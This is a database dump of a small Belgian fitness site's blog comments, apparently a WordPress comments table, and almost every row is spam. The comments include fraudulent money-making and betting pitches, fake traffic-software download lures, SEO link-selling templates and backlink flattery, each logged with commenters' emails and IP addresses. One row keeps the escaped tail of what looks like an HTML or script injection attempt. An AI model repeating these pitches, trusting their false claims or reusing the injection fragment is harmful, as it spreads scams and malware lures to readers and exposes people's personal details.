(110, 1, 'Michaelmig', 'semenow.pet2015@yandex.com', 'http://www.meksikabiber.com/corn-free-diet.html', '95.139.116.91', '2014-10-09 17:39:32', '2014-10-09 17:39:32', 'Low calorie chicken recipesWhat is taurineFoods to eat to gain weighthttp://www.meksikabiber.com/harcombe-diet-phase-1.htmlWomen bodybuilding dietWeight loss during pregnancyHealthy fish recipes &lt;a href=\&quot;http://www.meksikabiber.com/having-a-baby.html\&quot; rel=\&quot;nofollow\&quot;&gt;Having a baby&lt;/a&gt; Healthy vegetable soupFat burning soup recipesGluten free desserts \r\nHow to do an elimination dietCauses of addJewish dietary lawshttp://www.meksikabiber.com/low-carb-grocery-list.htmlBest tips to lose weightWeight loss waterHow to lose weight in 2 months &lt;a href=\&quot;http://www.meksikabiber.com/lacto-ovo-vegetarian-diet.html\&quot; rel=\&quot;nofollow\&quot;&gt;Lacto ovo vegetarian diet&lt;/a&gt; Constipation and abdominal painPaleo diet eggsSigns of gestational diabetes', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0', '', 0, 0),
(111, 1, 'Garrettpype', 'pokupatel.sfer@yandex.ru', 'http://pokupkicherezinternet.ru/%D0%BB%D1%83%D1%87%D1%88%D0%B8%D0%B9-%D1%81%D0%BC%D0%B0%D1%80%D1%82%D1%84%D0%BE%D0%BD-%D0%B4%D0%BE-10000-%D1%80%D1%83%D0%B1%D0%BB%D0%B5%D0%B9-2014-%D0%B3%D0%BE%D0%B4%D0', '95.139.116.91', '2014-11-16 21:20:07', '2014-11-16 21:20:07', 'Собственно задание в названии темы. \r\nКоторый смарт довольно лучшим после 2014 год? \r\nСогласно подобным статьям http://pokupkicherezinternet.ru/%D0%BB%D1%83%D1%87%D1%88%D0%B8%D0%B9-%D1%81%D0%BC%D0%B0%D1%80%D1%82%D1%84%D0%BE%D0%BD-%D0%B4%D0%BE-10000-%D1%80%D1%83%D0%B1%D0%BB%D0%B5%D0%B9-2014-%D0%B3%D0%BE%D0%B4%D0%B0.html \r\nпервоклассный смартфон до 10000 рублей 2014 возраст определен. \r\nА каково ваше мнение? Какой смартфон можете назватьлучший смартфон перед 10000 рублей 2014 года именно вы? \r\nвопрос к сожалению не праздный. Сам планирую покупку в ближуйщее пора и совершенно казаться не могу определиться. \r\nБуду рад вашей помощи. Лениться опираться исключительно для такие статьи. \r\nСпасибо! \r\n&lt;a href=\&quot;http://pokupkicherezinternet.ru/%D0%BB%D1%83%D1%87%D1%88%D0%B8%D0%B9-%D1%81%D0%BC%D0%B0%D1%80%D1%82%D1%84%D0%BE%D0%BD-%D0%B4%D0%BE-10000-%D1%80%D1%83%D0%B1%D0%BB%D0%B5%D0%B9-2014-%D0%B3%D0%BE%D0%B4%D0%B0.html\&quot; rel=\&quot;nofollow\&quot;&gt;лучший смартфон до 10000 рублей 2014 года&lt;/a&gt; \r\n&lt;a href=\&quot;http://pokupkicherezinternet.ru/%D0%BB%D1%83%D1%87%D1%88%D0%B8%D0%B9-%D1%81%D0%BC%D0%B0%D1%80%D1%82%D1%84%D0%BE%D0%BD-%D0%B4%D0%BE-10000-%D1%80%D1%83%D0%B1%D0%BB%D0%B5%D0%B9-2014-%D0%B3%D0%BE%D0%B4%D0%B0.html\&quot; rel=\&quot;nofollow\&quot;&gt;лучший смартфон до 10000 рублей 2014 года&lt;/a&gt;', 0, '0', 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36', '', 0, 0),
(112, 1, 'JessicavonO', 'jessicasenson2296@hotmail.com', 'http://next-gen-traffic.net', '178.137.84.124', '2014-11-20 12:45:56', '2014-11-20 12:45:56', 'hello www.crosstrainingcenter.be admin have you wondered what’s the secret how big company websites get massive targeted traffic and exposure in Google 1st page results for the biggest and toughest keywords? \r\nAnswer is simple links, but only quality links which counts as votes for your site giving Google no choice but to shoot your site rankings to #1 results so your customers can see your site at the top of Google search results.  Today is your lucky day because I’m going to reveal you secret resource of best of the best links from 500’000 website network! Yes that’s correct not some tiny 500 site network but half a million. \r\n*Links from real established, authority English actual PR pages with low outbound links max 10 \r\n* Skyrocket your website rankings for your website related keyword and get massive laser targeted traffic, customers and $$$ in your bank account. Forget about thousands of crap directory and forum links which will do nothing bust just hurt your website rankings. Get the real deal at http://next-gen-traffic.net Yes that’s the future of link building \r\nAfter my site is now at #1 position in Google I think http://next-gen-traffic.net is the game changer in seo world! \r\nYour friend Jessica.', 0, '0', 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 OPR/23.0.1522.77', '', 0, 0),
(113, 1, 'MikeOr', 'mike_omike@aol.com', 'http://mass-auto-traffic.net/download.html', '178.137.84.124', '2014-11-22 18:17:48', '2014-11-22 18:17:48', 'After getting more than 10000 visitors/day to my website I thought your www.crosstrainingcenter.be website also need  unstoppable flow of traffic... \r\n \r\nUse this BRAND NEW software and get all the traffic for your website you will ever need ... \r\n \r\n= = &amp;gt; &amp;gt; http://mass-auto-traffic.net/download.html \r\n \r\nIn testing phase it generated 867,981 visitors and $540,340. \r\n \r\nThen another $86,299.13 in 90 days to be exact. That\'s $958.88 a \r\nday!! \r\n \r\nAnd all it took was 10 minutes to set up and run. \r\n \r\nBut how does it work?? \r\n \r\nYou just configure the system, click the mouse button a few \r\ntimes, activate the software, copy and paste a few links and \r\nyou\'re done!! \r\n \r\nClick the link BELOW as you\'re about to witness a software that \r\ncould be a MAJOR turning point to your success. \r\n \r\n= = &amp;gt; &amp;gt; http://mass-auto-traffic.net/download.html \r\nBest regards \r\nYour old friend Mike', 0, '0', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 OPR/23.0.1522.77', '', 0, 0),
(114, 1, 'Sherry', 'kavzngwkqme@gmail.com', 'http://tf3.info/5w', '192.69.255.223', '2014-12-01 16:34:15', '2014-12-01 16:34:15', 'Hi, my name is Sherry and I am the sales manager at StarSEO Marketing. I was just looking at your site and see that your site has the potential to become very popular. I just want to tell you, In case you didn\'t already know... There is a website network which already has more than 16 million users, and most of the users are looking for niches like yours. By getting your website on this network you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can read more about it here: http://esyok.com/shirt/3z - Now, let me ask you... Do you need your site to be successful to maintain your way of life? Do you need targeted traffic who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your website? If your answer is YES, you can achieve these things only if you get your site on the service I am talking about. This traffic network advertises you to thousands, while also giving you a chance to test the service before paying anything at all. All the popular blogs are using this service to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful site works... Here\'s to your success! Read more here: http://esyok.com/shirt/3z', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', '', 0, 0);
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}\\\'))\&quot; &amp;gt; --&gt;&lt;a&gt;&lt;/a&gt;] Edit or delete it, then start blogging!', 0, '0', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', '', 0, 0),
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(120, 1, 'PatriciaBeem seo manager', 'patricialinser@hotmail.com', 'http://next-gen-seo-traffic.com', '46.118.116.33', '2015-01-17 07:00:57', '2015-01-17 07:00:57', 'This is a very good tip particularly to those fresh to the blogosphere. Brief but very accurate info… Appreciate your sharing this one. A must read post!', 0, '0', 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0', '', 0, 0),
(121, 1, 'Abby', 'wzwceqwbsx@aol.com', 'http://cmyad.co/i/5b58', '23.232.158.140', '2015-01-21 05:34:09', '2015-01-21 05:34:09', 'I came to your Hello world! | Cross Training Center (Namur - Limelette) page and noticed you could have a lot more hits. I have found that the key to running a website is making sure the visitors you are getting are interested in your niche. There is a company that you can get visitors from and they let you try the service for free. I managed to get over 300 targeted visitors to day to my site. Visit them here: http://anders.ga/1oahd', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(122, 1, 'Hannahcib', 'laura-ferksen89@outlook.com', 'http://skyrocket-web-traffic.com', '46.119.124.10', '2015-02-11 21:37:48', '2015-02-11 21:37:48', 'Hi www.crosstrainingcenter.be admin, noticed you have nice website and really liked your post. Not so many comments though, \r\nso just thought I could recommend you seo website http://skyrocket-web-traffic.com which will get hundreds and thousands laser targeted visitors from Google 1st page for your site in no time. They use only time tested and 1 year deep researched white hat methods which actually work in today\'s seo world. Have a nice day and hope next time I visit your site it will be lot more popular. \r\nRegards your friend Laura.', 0, '0', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36', '', 0, 0),
(123, 1, 'Jasminebal', 'jasmine-lucky777@outlook.com', 'http://12k-cash-software.com/Download.html', '178.137.162.171', '2015-02-23 20:08:06', '2015-02-23 20:08:06', 'Hi www.crosstrainingcenter.be admin I bet you wanna make more money? So how about \r\n \r\nthe insider secret software cashing $12,234 in 2 months? \r\nhttp://12k-cash-software.com/Download.html \r\n \r\nThat\'s what you can make and it is much more easy as internet marketing... \r\n \r\nLet me get it straight. \r\n \r\nI dont care about sports. Shame on me but I dont even know the \r\nfootball rules. Never cared less. \r\n \r\nWhat I care about is making money for me and my family. \r\n \r\nI tried everything from stocks &amp;amp; forex to internet marketing and \r\naffiliate programs.. I even made some money but then blew it all away \r\nwhen the stock market went south. \r\n \r\nWhat I was looking is the long term solution that can give me an edge. \r\nI think I finally found it. It is called Z code system. \r\n \r\nZ Code is not about sports. It is about following the system and \r\nwinning in a long run. That is why it is called sports investing and \r\nnot gambling. \r\n \r\nGuys will send you game picks and the predictions from the insider \r\ninfo based on their precise statistical model proven since 1999. \r\n \r\nYou place the bets and win. That\'s it. \r\n \r\nDon\'t take my word on it. Check out the proof video here: \r\n \r\nhttp://12k-cash-software.com/Download.html \r\n \r\nThese guys combine the power of their human cappers who are experts in \r\nsports with the power of technology: statistical data since 1999. \r\nTheir wins are documented and proven - each winning and losing pick is \r\navailable for members to check and verify in the members zone. \r\n \r\nThe performance chart goes straight into profits. Over $12,000 usd \r\nprofit for average bet of $100 during the last 2 months! \r\n \r\nNo wonder... I mean, \r\n \r\neven if you are skeptical you really NEED to check out how transparent \r\nthese guys truly are... \r\nVideos of bank accounts stuffed with money, videos of bookmaker \r\naccounts, screenshots proving how effective this killer software is, \r\nvideos of how to make the money risk free, hundreds of real people \r\ntestimonials... \r\n \r\n...proof, proof, and more proof!!  All sitting there for you to \r\nabsorb! Don\'t take my word for it - you have to see it to believe it. \r\n \r\nhttp://12k-cash-software.com/Download.html \r\n \r\nAnd the best part about it is just how easy it is to use!  Everything \r\nabout this product is TOP class- \r\n \r\n- from the software itself \r\n- to the video tutorials showing how to use the software &amp;amp; picks \r\n- to the comprehensive FAQ &amp;amp; Money management tips \r\n- to the well trained support team lead by Anny. \r\n \r\nThese guys have everything covered! \r\n \r\nCheck it out for yourself: \r\n \r\nhttp://12k-cash-software.com/Download.html \r\n \r\n \r\nYour friend Jasmine', 0, '0', 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 YaBrowser/14.10.2062.12061 Safari/537.36', '', 0, 0),
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(125, 1, 'Danielle', 'waftembxhy@hotmail.fr', 'http://pixz.nu/2fqB', '23.108.170.197', '2015-03-18 23:25:54', '2015-03-18 23:25:54', 'I discovered your Hello world! | Cross Training Center (Namur - Limelette) page and noticed you could have a lot more hits. I have found that the key to running a popular website is making sure the visitors you are getting are interested in your niche. There is a company that you can get visitors from and they let you try the service for free. I managed to get over 300 targeted visitors to day to my site. Check it out here: http://kout.eu/2y9i', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(126, 1, 'LindaOr', 'linda_sanchezter720@outlook.com', 'http://soft-making-half-million.com/downloadnow.html', '37.115.189.79', '2015-03-26 00:04:52', '2015-03-26 00:04:52', 'After getting more than 11000 visitors/day to my new website and earning $16452 first week I thought your www.crosstrainingcenter.be website also need  unstoppable flow of traffic &amp;amp; money... \r\n \r\nUse this BRAND NEW software and get all the traffic for your website you will ever need ... \r\n \r\n= = &amp;gt; &amp;gt; http://soft-making-half-million.com/downloadnow.html \r\n \r\nIn testing phase it generated 867,981 visitors and $540,340. \r\n \r\nThen another $86,299.13 in 90 days to be exact. That\'s $958.88 a \r\nday!! \r\n \r\nAnd all it took was 10 minutes to set up and run. \r\n \r\nBut how does it work?? \r\n \r\nYou just configure the system, click the mouse button a few \r\ntimes, activate the software, copy and paste a few links and \r\nyou\'re done!! \r\n \r\nClick the link BELOW as you\'re about to witness a software that \r\ncould be a MAJOR turning point to your success. \r\n \r\n= = &amp;gt; &amp;gt; http://soft-making-half-million.com/downloadnow.html \r\nBest regards \r\nYour old friend Linda', 0, '0', 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36', '', 0, 0),
(127, 1, 'Catherine', 'hpidwo@dayrep.com', 'http://s.ihaus.co.uk/x3', '104.168.70.17', '2015-04-10 03:33:44', '2015-04-10 03:33:44', 'Hi, my name is Catherine and I am the sales manager at StarSEO Marketing. I was just looking at your Hello world! | Cross Training Center (Namur - Limelette) website and see that your website has the potential to become very popular. I just want to tell you, In case you don\'t already know... There is a website service which already has more than 16 million users, and the majority of the users are interested in niches like yours. By getting your website on this service you have a chance to get your site more popular than you can imagine. It is free to sign up and you can read more about it here: http://bbqr.me/ij - Now, let me ask you... Do you need your website to be successful to maintain your way of life? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your website? If your answer is YES, you can achieve these things only if you get your site on the network I am describing. This traffic service advertises you to thousands, while also giving you a chance to test the service before paying anything at all. All the popular sites are using this service to boost their readership and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful site works... Here\'s to your success! Find out more here: http://1be.info/3o3a', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(128, 1, 'Catherine', 'menqhseqs@dayrep.com', 'http://bbqr.me/ij', '23.94.186.73', '2015-04-13 09:39:25', '2015-04-13 09:39:25', 'Hi, my name is Catherine and I am the sales manager at StarSEO Marketing. I was just looking at your Hello world! | Cross Training Center (Namur - Limelette) website and see that your site has the potential to get a lot of visitors. I just want to tell you, In case you didn\'t already know... There is a website service which already has more than 16 million users, and the majority of the users are looking for niches like yours. By getting your website on this service you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can read more about it here: http://bbqr.me/ij - Now, let me ask you... Do you need your site to be successful to maintain your business? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your website on the network I am describing. This traffic network advertises you to thousands, while also giving you a chance to test the network before paying anything at all. All the popular websites are using this service to boost their readership and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful site works... Here\'s to your success! Find out more here: http://s.ihaus.co.uk/x3', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705)', '', 0, 0),
(129, 1, 'Olivie', 'jkweftbfj@hotmail.com', 'http://bbqr.me/mu', '104.168.67.69', '2015-04-22 18:25:59', '2015-04-22 18:25:59', 'Hi my name is Olivie and I just wanted to drop you a quick note here instead of calling you. I discovered your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more visitors. I have found that the key to running a popular website is making sure the visitors you are getting are interested in your subject matter. There is a company that you can get targeted visitors from and they let you try their service for free for 7 days. I managed to get over 300 targeted visitors to day to my site. Visit them here: http://tf3.info/uu', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )', '', 0, 0),
(130, 1, 'Olivie', 'fgpoiz@hotmail.com', 'http://tf3.info/uu', '104.168.63.93', '2015-05-04 16:06:10', '2015-05-04 16:06:10', 'Hi my name is Olivie and I just wanted to drop you a quick note here instead of calling you. I came to your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more visitors. I have found that the key to running a popular website is making sure the visitors you are getting are interested in your niche. There is a company that you can get targeted visitors from and they let you try the service for free for 7 days. I managed to get over 300 targeted visitors to day to my website. Visit them here: http://esyok.com/shirt/b9', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', '', 0, 0),
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(132, 1, 'MichaelPr', 'ms_sophia_taylor@outlook.com', 'http://www.2000-usd-per-day.com/download.html', '46.119.112.121', '2015-05-26 14:33:42', '2015-05-26 14:33:42', 'Hi, www.crosstrainingcenter.be admin how about finally earning \r\n$1500-$2500/day without lifting a finger? \r\n \r\nIf making money online COULD be \r\nas easy as writing your own check… \r\n \r\nThis might be it. \r\nhttp://www.2000-usd-per-day.com/download.html \r\n \r\n3 minutes into the video? Yep. That’s \r\na $10000-$15000/week, right there. \r\n \r\n… All made with virtually no effort. \r\n \r\nWatch it and see for yourself. Download and copy exact system for yourself here: \r\nhttp://www.2000-usd-per-day.com/download.html \r\n \r\nYour old friend Sophia', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36', '', 0, 0),
(133, 1, 'money for surveys', 'karen-garcia@hotmail.com', 'http://www.take-surveys-earn-cash.com/surveys.html', '46.118.158.187', '2015-06-09 20:33:52', '2015-06-09 20:33:52', 'Earn up to $3500/month just answering simple surveys \r\nAverage people just like you are earning ~3500usd month just for taking simple surveys.... \r\nnow it\'s your time \r\nhttp://www.take-surveys-earn-cash.com/surveys.html \r\nHi www.crosstrainingcenter.be admin just wanted to let you know \r\n \r\nThere\'s an incredible new opportunity \r\nthat just grabbed my attention! \r\n \r\nIt\'s almost too good to be true. Big \r\ncompanies are paying people just for giving \r\ntheir opinions! I can\'t believe this guy and others are cashing out money just for filling out simple surveys read here how they are doing this: \r\n \r\nhttp://www.take-surveys-earn-cash.com/surveys.html \r\n \r\n \r\nThat\'s right! I\'m not kidding, all you\'ve got \r\nto do is complete simple surveys and these \r\ncompanies will pay you fat cash for it and it does not mater form which country you are, they need people from all over world! \r\n \r\nYou\'ve got to see this in video. \r\n \r\nhttp://www.take-surveys-earn-cash.com/surveys.html \r\n \r\nBut the truth is... they\'re not letting \r\nvery many people join the program so \r\nyou\'ve got to hurry! \r\n \r\nSee you there! \r\nyour old friend! \r\nKaren', 0, '0', 'Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.17', '', 0, 0),
(134, 1, 'moving companies', 'ayjbiel@gmail.com', 'http://pepperhome.ru/?option=com_k2&amp;amp;view=itemlist&amp;amp;task=user&amp;amp;id=98720', '78.244.88.55', '2015-06-17 21:14:59', '2015-06-17 21:14:59', 'Superb post however I was wondering if you could write a litte more on this topic? I\'d be very grateful if you could elaborate a little bit more. Appreciate it!|', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)', '', 0, 0),
(135, 1, 'moving interstate australia', 'goslcsdxc@gmail.com', 'http://bgnovinata.com/component/k2/itemlist/user/127115', '213.220.219.150', '2015-06-18 20:24:49', '2015-06-18 20:24:49', 'I have been browsing online more than 4 hours today, yet I never found any interesting article like yours. It is pretty worth enough for me. In my view, if all webmasters and bloggers made good content as you did, the net will be a lot more useful than ever before.|', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705)', '', 0, 0),
(136, 1, 'Donna', 'yzeatkzl@tom.com', 'http://www.kaktusit.com/a252', '107.172.6.73', '2015-07-20 09:27:59', '2015-07-20 09:27:59', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your site has the potential to get a lot of visitors. I just want to tell you, In case you don\'t already know... There is a website network which already has more than 16 million users, and most of the users are interested in topics like yours. By getting your site on this network you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can find out more about it here: http://gf10.com.br/url/iq2f - Now, let me ask you... Do you need your website to be successful to maintain your business? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your website? If your answer is YES, you can achieve these things only if you get your website on the network I am talking about. This traffic service advertises you to thousands, while also giving you a chance to test the network before paying anything at all. All the popular blogs are using this network to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful site works... Here\'s to your success! Read more here: http://cabkit.in/e137', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(137, 1, 'Donna', 'wuxlqivgs@tom.com', 'http://www.kaktusit.com/a252', '172.245.120.6', '2015-07-29 15:57:41', '2015-07-29 15:57:41', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your site has the potential to get a lot of visitors. I just want to tell you, In case you don\'t already know... There is a website service which already has more than 16 million users, and most of the users are interested in topics like yours. By getting your website on this service you have a chance to get your site more popular than you can imagine. It is free to sign up and you can find out more about it here: http://bbqr.me/4fj5 - Now, let me ask you... Do you need your site to be successful to maintain your business? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your website? If your answer is YES, you can achieve these things only if you get your website on the network I am talking about. This traffic service advertises you to thousands, while also giving you a chance to test the network before paying anything at all. All the popular sites are using this network to boost their readership and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful website works... Here\'s to your success! Find out more here: http://www.kaktusit.com/a252', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727 ; .NET CLR 4.0.30319)', '', 0, 0),
(138, 1, 'Donna', 'xnqzfry@tom.com', 'http://bbqr.me/4fj5', '23.94.170.143', '2015-08-05 22:22:38', '2015-08-05 22:22:38', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your site has the potential to get a lot of visitors. I just want to tell you, In case you didn\'t already know... There is a website service which already has more than 16 million users, and the majority of the users are looking for websites like yours. By getting your website on this network you have a chance to get your site more popular than you can imagine. It is free to sign up and you can read more about it here: https://spna.ca/1pvm - Now, let me ask you... Do you need your site to be successful to maintain your way of life? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your website on the network I am talking about. This traffic network advertises you to thousands, while also giving you a chance to test the network before paying anything. All the popular sites are using this network to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful site works... Here\'s to your success! Read more here: http://www.urlator.co/w7uk', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)', '', 0, 0),
(139, 1, 'Valerie', 'jztmaaxqwks@tom.com', 'http://digitalvikn.com.br/u/nk00', '23.94.170.211', '2015-08-12 08:49:20', '2015-08-12 08:49:20', 'I was just looking at your Hello world! | Cross Training Center (Namur) site and see that your website has the potential to become very popular. I just want to tell you, In case you don\'t already know... There is a website network which already has more than 16 million users, and the majority of the users are looking for topics like yours. By getting your site on this service you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can find out more about it here: http://ittsy.com/it/3x - Now, let me ask you... Do you need your website to be successful to maintain your business? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your site on the service I am talking about. This traffic service advertises you to thousands, while also giving you a chance to test the service before paying anything at all. All the popular sites are using this network to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful website works... Here\'s to your success! Read more here: http://www.urlator.co/w7uk', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.0.3705)', '', 0, 0),
(140, 1, 'Valerie', 'eahmfzixp@tom.com', 'http://www.urlator.co/w7uk', '23.94.173.64', '2015-08-20 20:32:25', '2015-08-20 20:32:25', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your website has the potential to become very popular. I just want to tell you, In case you don\'t already know... There is a website network which already has more than 16 million users, and the majority of the users are looking for topics like yours. By getting your site on this network you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can find out more about it here: http://www.urlator.co/w7uk - Now, let me ask you... Do you need your website to be successful to maintain your business? Do you need targeted traffic who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your website on the service I am describing. This traffic service advertises you to thousands, while also giving you a chance to test the network before paying anything at all. All the popular blogs are using this network to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful website works... Here\'s to your success! Read more here: http://bbqr.me/4fj5', 0, '0', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)', '', 0, 0),
(141, 1, 'Lindsey', 'vzigsng@tom.com', 'https://spna.ca/1pvm', '23.95.196.194', '2015-09-09 13:01:56', '2015-09-09 13:01:56', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your website has the potential to get a lot of visitors. I just want to tell you, In case you don\'t already know... There is a website service which already has more than 16 million users, and the majority of the users are looking for topics like yours. By getting your website on this network you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can read more about it here: http://digitalvikn.com.br/u/nk00 - Now, let me ask you... Do you need your site to be successful to maintain your business? Do you need targeted traffic who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your website on the network I am describing. This traffic network advertises you to thousands, while also giving you a chance to test the service before paying anything at all. All the popular blogs are using this service to boost their readership and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful website works... Here\'s to your success! Read more here: http://www.arvut.org/1/dft', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(142, 1, 'Lindsey', 'wxaawanejq@tom.com', 'http://ittsy.com/it/3x', '23.94.173.64', '2015-09-17 01:49:37', '2015-09-17 01:49:37', 'I was just looking at your Hello world! | Cross Training Center (Namur) website and see that your website has the potential to become very popular. I just want to tell you, In case you don\'t already know... There is a website service which already has more than 16 million users, and most of the users are looking for websites like yours. By getting your website on this service you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can read more about it here: http://tgi.link/dcf2 - Now, let me ask you... Do you need your site to be successful to maintain your business? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your site on the network I am talking about. This traffic network advertises you to thousands, while also giving you a chance to test the network before paying anything at all. All the popular websites are using this service to boost their readership and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful website works... Here\'s to your success! Read more here: http://www.arvut.org/1/dft', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(143, 1, 'Lindsey', 'ffsspscbio@tom.com', 'http://ittsy.com/it/3x', '107.173.168.72', '2015-09-26 14:20:29', '2015-09-26 14:20:29', 'I was just looking at your Hello world! | Cross Training Center (Namur) site and see that your site has the potential to get a lot of visitors. I just want to tell you, In case you didn\'t already know... There is a website network which already has more than 16 million users, and the majority of the users are looking for websites like yours. By getting your website on this service you have a chance to get your site more visitors than you can imagine. It is free to sign up and you can read more about it here: http://bbqr.me/4fj5 - Now, let me ask you... Do you need your site to be successful to maintain your way of life? Do you need targeted visitors who are interested in the services and products you offer? Are looking for exposure, to increase sales, and to quickly develop awareness for your site? If your answer is YES, you can achieve these things only if you get your site on the service I am talking about. This traffic network advertises you to thousands, while also giving you a chance to test the service before paying anything. All the popular sites are using this network to boost their traffic and ad revenue! Why aren’t you? And what is better than traffic? It’s recurring traffic! That\'s how running a successful website works... Here\'s to your success! Find out more here: http://tgi.link/dcf2', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
